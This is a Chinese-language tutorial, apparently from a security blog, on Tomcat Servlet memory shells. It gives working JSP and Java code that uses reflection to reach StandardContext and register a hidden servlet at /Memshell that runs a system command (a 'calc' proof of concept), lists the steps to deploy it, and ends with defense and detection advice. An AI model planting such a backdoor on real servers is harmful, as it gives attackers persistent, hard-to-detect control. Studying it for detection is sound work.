Java内存马-Servlet内存马分析
字数 879 2025-08-29 22:41:39
Java内存马-Servlet内存马分析与实现
1. Servlet内存马原理
Servlet内存马是一种无文件落地的恶意后门技术,通过动态注入到Java Web应用的运行时环境中实现持久化控制。其核心原理是利用Tomcat容器的StandardContext机制动态注册恶意Servlet。
1.1 Servlet注册流程分析
标准Servlet注册流程包含以下关键步骤:
- 创建Wrapper对象封装Servlet
- 将Wrapper添加到StandardContext的子容器中
- 添加Servlet映射路径
内存马正是模拟了这一标准注册流程,但通过反射机制动态完成,不依赖web.xml配置文件。
2. 关键技术实现
2.1 获取StandardContext
StandardContext是内存马实现的核心,获取流程如下:
// 获取ServletContext对象
ServletContext servletContext = request.getServletContext();
// 通过反射获取ApplicationContext
Field applicationContexField = servletContext.getClass().getDeclaredField("context");
applicationContexField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContexField.get(servletContext);
// 通过反射获取StandardContext
Field applicationContextField = applicationContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextField.get(applicationContext);
2.2 恶意Servlet实现
典型的恶意Servlet实现示例:
public class MemServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("calc"); // 执行系统命令
}
public void destroy() {
}
}
2.3 动态注册Servlet
// 创建Wrapper封装恶意Servlet
Wrapper wrapper = standardContext.createWrapper();
wrapper.setServlet(new MemServlet());
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
// 添加到StandardContext
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/Memshell","MemServlet");
3. 完整内存马实现
以下是完整的JSP实现代码:
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class MemServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("calc");
}
public void destroy() {
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContexField = servletContext.getClass().getDeclaredField("context");
applicationContexField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContexField.get(servletContext);
Field applicationContextField = applicationContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextField.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setServlet(new MemServlet());
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/Memshell","MemServlet");
%>
4. 内存马使用流程
- 将上述JSP代码上传到服务器(如addServlet.jsp)
- 访问addServlet.jsp,触发恶意Servlet注册
- 访问/Memshell路径触发恶意代码执行
5. 防御措施
针对Servlet内存马的防御策略:
- 运行时监控:监控StandardContext的动态修改
- 反射调用检测:检测关键类的反射调用行为
- Servlet白名单:建立合法的Servlet注册清单
- 行为分析:检测异常的Runtime.exec等危险操作
- 内存扫描:定期扫描JVM内存中的可疑Servlet
6. 检测方法
检测Servlet内存马的关键点:
- 检查StandardContext中的Wrapper列表
- 分析Servlet映射路径,查找异常注册
- 检查Servlet类是否来自已知的合法来源
- 监控Servlet的init和service方法实现
通过以上技术分析和实现细节,可以全面理解Servlet内存马的工作原理和实现方式,同时为防御提供技术参考。